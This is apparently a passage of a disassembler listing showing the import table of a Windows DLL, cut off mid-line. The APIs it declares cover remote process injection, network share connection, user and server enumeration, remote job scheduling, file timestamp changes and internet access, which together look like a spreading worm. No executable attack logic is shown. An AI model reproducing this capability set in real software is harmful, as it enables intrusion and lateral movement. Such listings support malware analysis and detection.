SetErrorMode:dword ; CODE XREF: StartAddress+Fp ; DATA XREF: StartAddress+Fr ; HANDLE __stdcall CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) extrn CreateThread:dword ; CODE XREF: sub_9A799E+206p ; sub_9A89E8+10p ... ; void __stdcall ExitProcess(UINT uExitCode) extrn ExitProcess:dword ; CODE XREF: sub_9A799E+196p ; DATA XREF: sub_9A799E+196r ; HANDLE __stdcall OpenMutexA(DWORD dwDesiredAccess, BOOL bInheritHandle, LPCSTR lpName) extrn OpenMutexA:dword ; CODE XREF: sub_9A799E+15Bp ; DATA XREF: sub_9A799E+15Br ; LPSTR __stdcall GetCommandLineA() extrn GetCommandLineA:dword ; CODE XREF: sub_9A799E+F9p ; DATA XREF: sub_9A799E+F9r ; HANDLE __stdcall CreateMutexA(LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCSTR lpName) extrn CreateMutexA:dword ; CODE XREF: sub_9A799E+E5p ; DllMain(x,x,x)+5Dp ; DATA XREF: ... ; BOOL __stdcall GetComputerNameA(LPSTR lpBuffer, LPDWORD nSize) extrn GetComputerNameA:dword ; CODE XREF: sub_9A799E+69p ; sub_9A9072+48p ; DATA XREF: ... ; DWORD __stdcall GetModuleFileNameA(HMODULE hModule, LPCH lpFilename, DWORD nSize) extrn GetModuleFileNameA:dword ; CODE XREF: sub_9A799E+3Cp ; sub_9AB6A9+24p ... ; DWORD __stdcall GetCurrentProcessId() extrn GetCurrentProcessId:dword ; CODE XREF: DllMain(x,x,x)+2Cp ; sub_9AA082+17p ... ; BOOL __stdcall DisableThreadLibraryCalls(HMODULE hLibModule) extrn DisableThreadLibraryCalls:dword ; CODE XREF: DllMain(x,x,x)+22p ; DATA XREF: DllMain(x,x,x)+22r ; BOOL __stdcall DeviceIoControl(HANDLE hDevice, DWORD dwIoControlCode, LPVOID lpInBuffer, DWORD nInBufferSize, LPVOID lpOutBuffer, DWORD nOutBufferSize, LPDWORD lpBytesReturned, LPOVERLAPPED lpOverlapped) extrn DeviceIoControl:dword ; CODE XREF: sub_9A7FAE+14Fp ; DATA XREF: sub_9A7FAE+14Fr ; BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped) extrn WriteFile:dword ; CODE XREF: sub_9A7FAE+DEp ; sub_9A8326+1B5p ... ; UINT __stdcall GetTempFileNameA(LPCSTR lpPathName, LPCSTR lpPrefixString, UINT uUnique, LPSTR lpTempFileName) extrn GetTempFileNameA:dword ; CODE XREF: sub_9A7FAE+5Ep ; sub_9A7FAE+8Cp ... ; BOOL __stdcall DeleteFileW(LPCWSTR lpFileName) extrn DeleteFileW:dword ; CODE XREF: sub_9A8326+2C8p ; DATA XREF: sub_9A8326+2C8r ; void __stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime) extrn GetLocalTime:dword ; CODE XREF: sub_9A8326+267p ; DATA XREF: sub_9A8326+267r ; HANDLE __stdcall CreateFileW(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile) extrn CreateFileW:dword ; CODE XREF: sub_9A8326+17Ap ; DATA XREF: sub_9A8326+17Ar ; BOOL __stdcall FindClose(HANDLE hFindFile) extrn FindClose:dword ; CODE XREF: sub_9A8326+14Cp ; sub_9AABA4+1F7p ... ; HANDLE __stdcall FindFirstFileW(LPCWSTR lpFileName, LPWIN32_FIND_DATAW lpFindFileData) extrn FindFirstFileW:dword ; CODE XREF: sub_9A8326+140p ; DATA XREF: sub_9A8326+140r ; int __stdcall MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCSTR lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar) extrn MultiByteToWideChar:dword ; CODE XREF: sub_9A870C+13Ap ; sub_9A9E95+34p ... ; BOOL __stdcall GetComputerNameW(LPWSTR lpBuffer, LPDWORD nSize) extrn GetComputerNameW:dword ; CODE XREF: sub_9A8949+5Ap ; DATA XREF: sub_9A8949+5Ar ; BOOL __stdcall TerminateThread(HANDLE hThread, DWORD dwExitCode) extrn TerminateThread:dword ; CODE XREF: sub_9A8A72+149p ; sub_9A8CAF+74p ... ; DWORD __stdcall GetCurrentThreadId() extrn GetCurrentThreadId:dword ; CODE XREF: sub_9A8A72+120p ; sub_9AB510+7p ; DATA XREF: ... ; DWORD __stdcall WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds) extrn WaitForSingleObject:dword ; CODE XREF: sub_9A8CAF+65p ; sub_9AC5BB+5Cp ... ; void __stdcall SetLastError(DWORD dwErrCode) extrn SetLastError:dword ; CODE XREF: sub_9A9D72+26p ; sub_9A9E5D+29p ... ; BOOL __stdcall Module32Next(HANDLE hSnapshot, LPMODULEENTRY32 lpme) extrn __imp_Module32Next:dword ; DATA XREF: Module32Nextr ; BOOL __stdcall Module32First(HANDLE hSnapshot, LPMODULEENTRY32 lpme) extrn __imp_Module32First:dword ; DATA XREF: Module32Firstr ; HANDLE __stdcall CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID) extrn __imp_CreateToolhelp32Snapshot:dword ; DATA XREF: CreateToolhelp32Snapshotr ; BOOL __stdcall SetThreadPriority(HANDLE hThread, int nPriority) extrn SetThreadPriority:dword ; CODE XREF: sub_9AA2CE+EDp ; sub_9AA2CE+106p ... ; BOOL __stdcall VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect) extrn VirtualProtect:dword ; CODE XREF: sub_9AA2CE+CFp ; sub_9AA2CE+114p ; DATA XREF: ... ; int __stdcall GetThreadPriority(HANDLE hThread) extrn GetThreadPriority:dword ; CODE XREF: sub_9AA2CE+1Fp ; DATA XREF: sub_9AA2CE+1Fr ; HANDLE __stdcall GetCurrentThread() extrn GetCurrentThread:dword ; CODE XREF: sub_9AA2CE+15p ; DATA XREF: sub_9AA2CE+15r ; BOOL __stdcall VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) extrn VirtualFree:dword ; CODE XREF: sub_9AA40D+69p ; DATA XREF: sub_9AA40D+69r ; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) extrn VirtualAlloc:dword ; CODE XREF: sub_9AA40D+3Cp ; DATA XREF: sub_9AA40D+3Cr ; FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName) extrn GetProcAddress:dword ; CODE XREF: sub_9AA40D+25p ; sub_9ABCA4+68p ... ; HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName) extrn LoadLibraryA:dword ; CODE XREF: sub_9AA40D+16p ; sub_9AD00D+11p ; DATA XREF: ... ; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName) extrn GetModuleHandleA:dword ; CODE XREF: sub_9AA40D+9p ; sub_9AA53A+5p ... ; BOOL __stdcall CreateDirectoryA(LPCSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes) extrn CreateDirectoryA:dword ; CODE XREF: sub_9AABA4+250p ; sub_9AABA4+2AFp ; DATA XREF: ... ; HANDLE __stdcall FindFirstFileA(LPCSTR lpFileName, LPWIN32_FIND_DATAA lpFindFileData) extrn FindFirstFileA:dword ; CODE XREF: sub_9AABA4+1E8p ; sub_9AABA4+369p ; DATA XREF: ... ; BOOL __stdcall GetVolumeInformationA(LPCSTR lpRootPathName, LPSTR lpVolumeNameBuffer, DWORD nVolumeNameSize, LPDWORD lpVolumeSerialNumber, LPDWORD lpMaximumComponentLength, LPDWORD lpFileSystemFlags, LPSTR lpFileSystemNameBuffer, DWORD nFileSystemNameSize) extrn GetVolumeInformationA:dword ; CODE XREF: sub_9AABA4+32p ; sub_9AB343+3Bp ; DATA XREF: ... ; UINT __stdcall GetDriveTypeA(LPCSTR lpRootPathName) extrn GetDriveTypeA:dword ; CODE XREF: sub_9AAFD8+47p ; sub_9AB156+48p ; DATA XREF: ... ; DWORD __stdcall GetLogicalDrives() extrn GetLogicalDrives:dword ; CODE XREF: sub_9AB156+17p ; DATA XREF: sub_9AB156+17r ; DWORD __stdcall GetTickCount() extrn GetTickCount:dword ; CODE XREF: sub_9AB510:loc_9AB53Fp ; sub_9AC476+4Fp ... ; BOOL __stdcall QueryPerformanceCounter(LARGE_INTEGER *lpPerformanceCount) extrn QueryPerformanceCounter:dword ; CODE XREF: sub_9AB510+1Bp ; DATA XREF: sub_9AB510+1Br ; BOOL __stdcall SetFileTime(HANDLE hFile, const FILETIME *lpCreationTime, const FILETIME *lpLastAccessTime, const FILETIME *lpLastWriteTime) extrn SetFileTime:dword ; CODE XREF: sub_9AB6A9+8Fp ; DATA XREF: sub_9AB6A9+8Fr ; BOOL __stdcall GetFileTime(HANDLE hFile, LPFILETIME lpCreationTime, LPFILETIME lpLastAccessTime, LPFILETIME lpLastWriteTime) extrn GetFileTime:dword ; CODE XREF: sub_9AB6A9+5Bp ; DATA XREF: sub_9AB6A9+5Br ; LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes) extrn HeapAlloc:dword ; CODE XREF: sub_9AB746+Dp ; DATA XREF: sub_9AB746+Dr ; HANDLE __stdcall GetProcessHeap() extrn GetProcessHeap:dword ; CODE XREF: sub_9AB746+6p ; sub_9AB75A+6p ; DATA XREF: ... ; BOOL __stdcall HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem) extrn HeapFree:dword ; CODE XREF: sub_9AB75A+Dp ; DATA XREF: sub_9AB75A+Dr ; BOOL __stdcall ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped) extrn ReadFile:dword ; CODE XREF: sub_9AB76E+51p ; DATA XREF: sub_9AB76E+51r ; BOOL __stdcall Process32Next(HANDLE hSnapshot, LPPROCESSENTRY32 lppe) extrn __imp_Process32Next:dword ; DATA XREF: Process32Nextr ; BOOL __stdcall Process32First(HANDLE hSnapshot, LPPROCESSENTRY32 lppe) extrn __imp_Process32First:dword ; DATA XREF: Process32Firstr ; BOOL __stdcall Thread32Next(HANDLE hSnapshot, LPTHREADENTRY32 lpte) extrn __imp_Thread32Next:dword ; DATA XREF: Thread32Nextr ; HANDLE __stdcall OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId) extrn OpenThread:dword ; CODE XREF: sub_9ABCA4+123p ; DATA XREF: sub_9ABCA4+123r ; BOOL __stdcall Thread32First(HANDLE hSnapshot, LPTHREADENTRY32 lpte) extrn __imp_Thread32First:dword ; DATA XREF: Thread32Firstr ; HANDLE __stdcall CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) extrn CreateRemoteThread:dword ; CODE XREF: sub_9ABCA4+9Cp ; DATA XREF: sub_9ABCA4+9Cr ; BOOL __stdcall WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten) extrn WriteProcessMemory:dword ; CODE XREF: sub_9ABCA4+7Cp ; DATA XREF: sub_9ABCA4+7Cr ; LPVOID __stdcall VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) extrn VirtualAllocEx:dword ; CODE XREF: sub_9ABCA4+3Dp ; DATA XREF: sub_9ABCA4+3Dr ; HANDLE __stdcall OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId) extrn OpenProcess:dword ; CODE XREF: sub_9ABCA4+1Fp ; sub_9ABECA+35p ... ; BOOL __stdcall ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead) extrn ReadProcessMemory:dword ; CODE XREF: sub_9ABE40+27p ; sub_9ABE40+40p ... ; BOOL __stdcall SetFileAttributesA(LPCSTR lpFileName, DWORD dwFileAttributes) extrn SetFileAttributesA:dword ; CODE XREF: sub_9AC132+2Ap ; DATA XREF: sub_9AC132+2Ar ; DWORD __stdcall GetFileAttributesA(LPCSTR lpFileName) extrn GetFileAttributesA:dword ; CODE XREF: sub_9AC132+4p ; DATA XREF: sub_9AC132+4r ; DWORD __stdcall GetCurrentDirectoryA(DWORD nBufferLength, LPSTR lpBuffer) extrn GetCurrentDirectoryA:dword ; CODE XREF: sub_9AC27E+2Ap ; DATA XREF: sub_9AC27E+2Ar ; BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation) extrn CreateProcessA:dword ; CODE XREF: sub_9AC2CA+4Ep ; DATA XREF: sub_9AC2CA+4Er ; LONG __stdcall InterlockedDecrement(volatile LONG *lpAddend) extrn InterlockedDecrement:dword ; CODE XREF: sub_9AC5BB+133p ; sub_9AC789+115p ... ; LONG __stdcall InterlockedIncrement(volatile LONG *lpAddend) extrn InterlockedIncrement:dword ; CODE XREF: sub_9AC5BB+14p ; sub_9AC789+17p ... ; LONG __stdcall InterlockedExchange(volatile LONG *Target, LONG Value) extrn InterlockedExchange:dword ; CODE XREF: sub_9AC6FE+41p ; sub_9ACA50+4Bp ... ; HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName) extrn CreateEventA:dword ; CODE XREF: sub_9AC911+BEp ; sub_9ACABE+B8p ... ; BOOL __stdcall SetEvent(HANDLE hEvent) extrn SetEvent:dword ; CODE XREF: sub_9ACABE+45Dp ; sub_9ACABE+4D7p ; DATA XREF: ... ; HANDLE __stdcall OpenEventA(DWORD dwDesiredAccess, BOOL bInheritHandle, LPCSTR lpName) extrn OpenEventA:dword ; CODE XREF: sub_9ACABE+454p ; sub_9ACABE+4CEp ; DATA XREF: ... ; void __stdcall GetSystemTime(LPSYSTEMTIME lpSystemTime) extrn GetSystemTime:dword ; CODE XREF: sub_9ADB52+6Fp ; sub_9ADD9B+2Ap ; DATA XREF: ... ; ; Imports from mpr.dll ; ; DWORD __stdcall WNetAddConnection2W(LPNETRESOURCEW lpNetResource, LPCWSTR lpPassword, LPCWSTR lpUserName, DWORD dwFlags) extrn __imp_WNetAddConnection2W:dword ; DATA XREF: WNetAddConnection2Wr ; DWORD __stdcall WNetAddConnection2A(LPNETRESOURCEA lpNetResource, LPCSTR lpPassword, LPCSTR lpUserName, DWORD dwFlags) extrn __imp_WNetAddConnection2A:dword ; DATA XREF: WNetAddConnection2Ar ; DWORD __stdcall WNetCancelConnection2A(LPCSTR lpName, DWORD dwFlags, BOOL fForce) extrn __imp_WNetCancelConnection2A:dword ; DATA XREF: WNetCancelConnection2Ar ; DWORD __stdcall WNetCancelConnection2W(LPCWSTR lpName, DWORD dwFlags, BOOL fForce) extrn __imp_WNetCancelConnection2W:dword ; DATA XREF: WNetCancelConnection2Wr ; ; Imports from msvcrt.dll ; ; int __cdecl stricmp(const char *Str1, const char *Str2) extrn _stricmp:dword ; CODE XREF: sub_9A722A+85p ; sub_9A9199+9Ap ... extrn __imp__initterm:dword ; DATA XREF: _inittermr extrn _adjust_fdiv:dword ; DATA XREF: _CRT_INIT(x,x,x):loc_9B7137r ; void *__cdecl calloc(size_t NumOfElements, size_t SizeOfElements) extrn calloc:dword ; CODE XREF: sub_9B542A+45p ; sub_9B5561+31p ... ; int sscanf(const char *Src, const char *Format, ...) extrn sscanf:dword ; CODE XREF: sub_9B5214+DBp ; sub_9B5214+125p ... ; void *__cdecl memmove(void *Dst, const void *Src, size_t Size) extrn memmove:dword ; CODE XREF: sub_9AF2B0+34p ; sub_9B2A35+2Ap ; DATA XREF: ... ; void *__cdecl bsearch(const void *Key, const void *Base, size_t NumOfElements, size_t SizeOfElements, int (__cdecl *PtFuncCompare)(const void *, const void *)) extrn bsearch:dword ; CODE XREF: sub_9AEEBC+34p ; sub_9AEEBC+5Fp ... ; __int32 __cdecl labs(__int32 X) extrn __imp_labs:dword ; DATA XREF: labsr extrn __imp_sin:dword ; DATA XREF: sinr extrn __imp_log:dword ; DATA XREF: logr ; char *__cdecl strtok(char *Str, const char *Delim) extrn strtok:dword ; CODE XREF: sub_9ADA6E+41p ; sub_9ADA6E+4Fp ... ; int __cdecl atoi(const char *Str) extrn atoi:dword ; CODE XREF: sub_9ADA6E+5Fp ; sub_9ADA6E+C0p ; DATA XREF: ... ; wchar_t *__cdecl wcsdup(const wchar_t *Str) extrn _wcsdup:dword ; CODE XREF: sub_9A85FC+86p ; sub_9AD062+16Dp ... ; int printf(const char *Format, ...) extrn printf:dword ; CODE XREF: sub_9ABCA4+14Dp ; DATA XREF: sub_9ABCA4+14Dr ; char *__cdecl strcpy(char *Dest, const char *Source) extrn __imp_strcpy:dword ; DATA XREF: strcpyr ; char *__cdecl strchr(const char *Str, int Val) extrn strchr:dword ; CODE XREF: sub_9AA85A+12Cp ; sub_9B410C+54p ... ; int __cdecl strcmp(const char *Str1, const char *Str2) extrn __imp_strcmp:dword ; DATA XREF: strcmpr ; char *__cdecl strcat(char *Dest, const char *Source) extrn __imp_strcat:dword ; DATA XREF: strcatr ; wchar_t *__cdecl wcsstr(const wchar_t *Str, const wchar_t *SubStr) extrn wcsstr:dword ; CODE XREF: sub_9A9D17+25p ; DATA XREF: sub_9A9D17+25r ; void *__cdecl memcpy(void *Dst, const void *Src, size_t Size) extrn __imp_memcpy:dword ; DATA XREF: memcpyr ; char *__cdecl strlwr(char *Str) extrn _strlwr:dword ; CODE XREF: sub_9A9471+6Dp ; sub_9AE3FA+182p ... ; char *__cdecl strstr(const char *Str, const char *SubStr) extrn strstr:dword ; CODE XREF: sub_9A9471+84p ; sub_9AE3FA+196p ... ; char *__cdecl strdup(const char *Src) extrn _strdup:dword ; CODE XREF: sub_9A90FF+26p ; sub_9AA85A+120p ... ; wchar_t *__cdecl wcsncpy(wchar_t *Dest, const wchar_t *Source, size_t Count) extrn wcsncpy:dword ; CODE XREF: sub_9A8949+37p ; DATA XREF: sub_9A8949+37r ; size_t __cdecl wcslen(const wchar_t *Str) extrn wcslen:dword ; CODE XREF: sub_9A870C+81p ; sub_9A870C+8Ep ... ; void *__cdecl malloc(size_t Size) extrn malloc:dword ; CODE XREF: sub_9A870C+98p ; sub_9A9638+4p ... ; void __cdecl free(void *Memory) extrn free:dword ; CODE XREF: sub_9A870C+10Fp ; sub_9A870C+165p ... ; void *__cdecl realloc(void *Memory, size_t NewSize) extrn realloc:dword ; CODE XREF: sub_9A85FC+56p ; sub_9B132C+18p ... ; wchar_t *__cdecl wcscat(wchar_t *Dest, const wchar_t *Source) extrn wcscat:dword ; CODE XREF: sub_9A8326+95p ; sub_9A8326+E2p ... ; wchar_t *__cdecl wcscpy(wchar_t *Dest, const wchar_t *Source) extrn wcscpy:dword ; CODE XREF: sub_9A8326+9Fp ; sub_9A870C+A9p ... ; int __cdecl wcscmp(const wchar_t *Str1, const wchar_t *Str2) extrn wcscmp:dword ; CODE XREF: sub_9A8326+C8p ; sub_9A88A6+65p ; DATA XREF: ... ; void *__cdecl memset(void *Dst, int Val, size_t Size) extrn __imp_memset:dword ; DATA XREF: memsetr ; int snwprintf(wchar_t *Dest, size_t Count, const wchar_t *Format, ...) extrn _snwprintf:dword ; CODE XREF: sub_9A827D+1Dp ; sub_9A82BC+20p ... ; int __cdecl memcmp(const void *Buf1, const void *Buf2, size_t Size) extrn __imp_memcmp:dword ; DATA XREF: memcmpr ; char *__cdecl strncat(char *Dest, const char *Source, size_t Count) extrn strncat:dword ; CODE XREF: sub_9A7670+B4p ; sub_9A7E5A+33p ; DATA XREF: ... ; void __cdecl srand(unsigned int Seed) extrn srand:dword ; CODE XREF: sub_9A752A+17p ; sub_9A799E+93p ... ; int __cdecl rand() extrn rand:dword ; CODE XREF: sub_9A752A+1Dp ; sub_9A7670+91p ... ; int snprintf(char *Dest, size_t Count, const char *Format, ...) extrn _snprintf:dword ; CODE XREF: sub_9A752A+54p ; sub_9A799E+CDp ... ; char *__cdecl strncpy(char *Dest, const char *Source, size_t Count) extrn strncpy:dword ; CODE XREF: sub_9A752A+118p ; sub_9A9471+25p ... ; char *__cdecl strrchr(const char *Str, int Ch) extrn strrchr:dword ; CODE XREF: sub_9A7410+61p ; sub_9A8D37+Cp ... ; int __cdecl strnicmp(const char *Str1, const char *Str, size_t MaxCount) extrn _strnicmp:dword ; CODE XREF: sub_9A722A+5Ap ; sub_9A8D37+5Cp ... ; size_t __cdecl strlen(const char *Str) extrn __imp_strlen:dword ; DATA XREF: strlenr ; int __cdecl memicmp(const void *Buf1, const void *Buf2, size_t Size) extrn _memicmp:dword ; CODE XREF: sub_9B488E+50p ; sub_9B488E+74p ; DATA XREF: ... ; ; Imports from netapi32.dll ; ; DWORD __stdcall NetApiBufferFree(LPVOID Buffer) extrn __imp_NetApiBufferFree:dword ; DATA XREF: NetApiBufferFreer ; DWORD __stdcall NetScheduleJobDel(LPCWSTR Servername, DWORD MinJobId, DWORD MaxJobId) extrn __imp_NetScheduleJobDel:dword ; DATA XREF: NetScheduleJobDelr ; DWORD __stdcall NetScheduleJobEnum(LPCWSTR Servername, LPBYTE *PointerToBuffer, DWORD PrefferedMaximumLength, LPDWORD EntriesRead, LPDWORD TotalEntries, LPDWORD ResumeHandle) extrn __imp_NetScheduleJobEnum:dword ; DATA XREF: NetScheduleJobEnumr ; DWORD __stdcall NetScheduleJobAdd(LPCWSTR Servername, LPBYTE Buffer, LPDWORD JobId) extrn __imp_NetScheduleJobAdd:dword ; DATA XREF: NetScheduleJobAddr ; DWORD __stdcall NetUserEnum(LPCWSTR servername, DWORD level, DWORD filter, LPBYTE *bufptr, DWORD prefmaxlen, LPDWORD entriesread, LPDWORD totalentries, LPDWORD resume_handle) extrn __imp_NetUserEnum:dword ; DATA XREF: NetUserEnumr ; DWORD __stdcall NetServerEnum(LPCWSTR servername, DWORD level, LPBYTE *bufptr, DWORD prefmaxlen, LPDWORD entriesread, LPDWORD totalentries, DWORD servertype, LPCWSTR domain, LPDWORD resume_handle) extrn __imp_NetServerEnum:dword ; DATA XREF: NetServerEnumr ; DWORD __stdcall NetWkstaGetInfo(LPWSTR servername, DWORD level, LPBYTE *bufptr) extrn __imp_NetWkstaGetInfo:dword ; DATA XREF: NetWkstaGetInfor ; ; Imports from oleaut32.dll ; ; HRESULT __stdcall VariantClear(VARIANTARG *pvarg) extrn VariantClear:dword ; CODE XREF: sub_9A8A72+175p ; DATA XREF: sub_9A8A72+175r ; void __stdcall VariantInit(VARIANTARG *pvarg) extrn VariantInit:dword ; CODE XREF: sub_9A8A72+5Cp ; DATA XREF: sub_9A8A72+5Cr ; void __stdcall SysFreeString(BSTR bstrString) extrn SysFreeString:dword ; CODE XREF: sub_9A8EDE+E8p ; DATA XREF: sub_9A8EDE+E8r ; UINT __stdcall SysStringLen(BSTR) extrn SysStringLen:dword ; CODE XREF: sub_9A8EDE+B3p ; DATA XREF: sub_9A8EDE+B3r ; BSTR __stdcall SysAllocString(const OLECHAR *psz) extrn SysAllocString:dword ; CODE XREF: sub_9A8EDE+AAp ; DATA XREF: sub_9A8EDE+AAr ; ; Imports from rpcrt4.dll ; ; RPC_STATUS __stdcall RpcBindingFromStringBindingA(RPC_CSTR StringBinding, RPC_BINDING_HANDLE *Binding) extrn RpcBindingFromStringBindingA:dword ; CODE XREF: sub_9A97A7+37p ; sub_9A983B+3Ap ; DATA XREF: ... ; RPC_STATUS __stdcall RpcStringBindingComposeA(RPC_CSTR ObjUuid, RPC_CSTR ProtSeq, RPC_CSTR NetworkAddr, RPC_CSTR Endpoint, RPC_CSTR Options, RPC_CSTR *StringBinding) extrn RpcStringBindingComposeA:dword ; CODE XREF: sub_9A97A7+25p ; sub_9A983B+28p ; DATA XREF: ... ; CLIENT_CALL_RETURN NdrClientCall2(PMIDL_STUB_DESC pStubDescriptor, PFORMAT_STRING pFormat, ...) extrn __imp_NdrClientCall2:dword ; DATA XREF: NdrClientCall2r ; RPC_STATUS __stdcall RpcBindingFree(RPC_BINDING_HANDLE *Binding) extrn RpcBindingFree:dword ; CODE XREF: sub_9A97A7+85p ; sub_9A983B+ADp ; DATA XREF: ... ; ; Imports from shell32.dll ; ; void __stdcall SHGetSetSettings(LPSHELLSTATEA lpss, DWORD dwMask, BOOL bSet) extrn SHGetSetSettings:dword ; CODE XREF: sub_9AB1F2+3Dp ; DATA XREF: sub_9AB1F2+3Dr ; BOOL __stdcall SHGetSpecialFolderPathA(HWND hwnd, LPSTR pszPath, int csidl, BOOL fCreate) extrn SHGetSpecialFolderPathA:dword ; CODE XREF: sub_9A7670+8Fp ; sub_9A7670+DEp ; DATA XREF: ... ; ; Imports from shlwapi.dll ; ; LSTATUS __stdcall SHDeleteKeyA(HKEY hkey, LPCSTR pszSubKey) extrn SHDeleteKeyA:dword ; CODE XREF: StartAddress+14Cp ; DATA XREF: StartAddress+14Cr ; LSTATUS __stdcall SHDeleteValueA(HKEY hkey, LPCSTR pszSubKey, LPCSTR pszValue) extrn SHDeleteValueA:dword ; CODE XREF: StartAddress+181p ; DATA XREF: StartAddress+181r ; LPWSTR __stdcall StrStrIW(LPCWSTR lpFirst, LPCWSTR lpSrch) extrn StrStrIW:dword ; CODE XREF: sub_9ABF43+87p ; DATA XREF: sub_9ABF43+87r ; LPSTR __stdcall StrStrIA(LPCSTR lpFirst, LPCSTR lpSrch) extrn StrStrIA:dword ; CODE XREF: sub_9A7410+83p ; sub_9A7410+95p ... ; ; Imports from user32.dll ; ; BOOL __stdcall GetLastInputInfo(PLASTINPUTINFO plii) extrn GetLastInputInfo:dword ; CODE XREF: sub_9ACA50+2Ap ; DATA XREF: sub_9ACA50+2Ar ; BOOL __stdcall PostMessageA(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) extrn PostMessageA:dword ; CODE XREF: fn+1Ap ; DATA XREF: fn+1Ar ; HWND __stdcall GetDlgItem(HWND hDlg, int nIDDlgItem) extrn GetDlgItem:dword ; CODE XREF: fn+6p ; DATA XREF: fn+6r ; BOOL __stdcall EnumThreadWindows(DWORD dwThreadId, WNDENUMPROC lpfn, LPARAM lParam) extrn EnumThreadWindows:dword ; CODE XREF: sub_9A8A37+1Ep ; DATA XREF: sub_9A8A37+1Er ; LRESULT __stdcall DefWindowProcA(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) extrn DefWindowProcA:dword ; DATA XREF: sub_9AB07D+20r ; LRESULT __stdcall DispatchMessageA(const MSG *lpMsg) extrn DispatchMessageA:dword ; CODE XREF: sub_9AB0A3+98p ; DATA XREF: sub_9AB0A3+98r ; ATOM __stdcall RegisterClassA(const WNDCLASSA *lpWndClass) extrn RegisterClassA:dword ; CODE XREF: sub_9AB0A3+52p ; DATA XREF: sub_9AB0A3+52r ; HWND __stdcall CreateWindowExA(DWORD dwExStyle, LPCSTR lpClassName, LPCSTR lpWindowName, DWORD dwStyle, int X, int Y, int nWidth, int nHeight, HWND hWndParent, HMENU hMenu, HINSTANCE hInstance, LPVOID lpParam) extrn CreateWindowExA:dword ; CODE XREF: sub_9AB0A3+72p ; DATA XREF: sub_9AB0A3+72r ; BOOL __stdcall GetMessageA(LPMSG lpMsg, HWND hWnd, UINT wMsgFilterMin, UINT wMsgFilterMax) extrn GetMessageA:dword ; CODE XREF: sub_9AB0A3+A5p ; DATA XREF: sub_9AB0A3+7Dr ; BOOL __stdcall TranslateMessage(const MSG *lpMsg) extrn TranslateMessage:dword ; CODE XREF: sub_9AB0A3+8Ep ; DATA XREF: sub_9AB0A3+8Er ; int __stdcall LoadStringA(HINSTANCE hInstance, UINT uID, LPSTR lpBuffer, int cchBufferMax) extrn LoadStringA:dword ; CODE XREF: sub_9AB2C3+29p ; DATA XREF: sub_9AB2C3+29r ; ; Imports from version.dll ; ; BOOL __stdcall VerQueryValueA(LPCVOID pBlock, LPCSTR lpSubBlock, LPVOID *lplpBuffer, PUINT puLen) extrn __imp_VerQueryValueA:dword ; DATA XREF: VerQueryValueAr ; DWORD __stdcall GetFileVersionInfoSizeA(LPCSTR lptstrFilename, LPDWORD lpdwHandle) extrn __imp_GetFileVersionInfoSizeA:dword ; DATA XREF: GetFileVersionInfoSizeAr ; BOOL __stdcall GetFileVersionInfoA(LPCSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData) extrn __imp_GetFileVersionInfoA:dword ; DATA XREF: GetFileVersionInfoAr ; ; Imports from wininet.dll ; ; HINTERNET __stdcall InternetOpenUrlA(HINTERNET hInternet, LPCSTR lpszUrl, LPCSTR lpszHeaders, DWORD dwHeadersLength, DWORD dwFlags, DWORD dwContext) extrn InternetOpenUrlA:dword ; CODE XREF: sub_9ABAC6+7Bp ; sub_9AD993+64p ; DATA XREF: ... ; BOOL __stdcall HttpQueryInfoA(HINTERNET hRequest, DWORD dwInfoLevel, 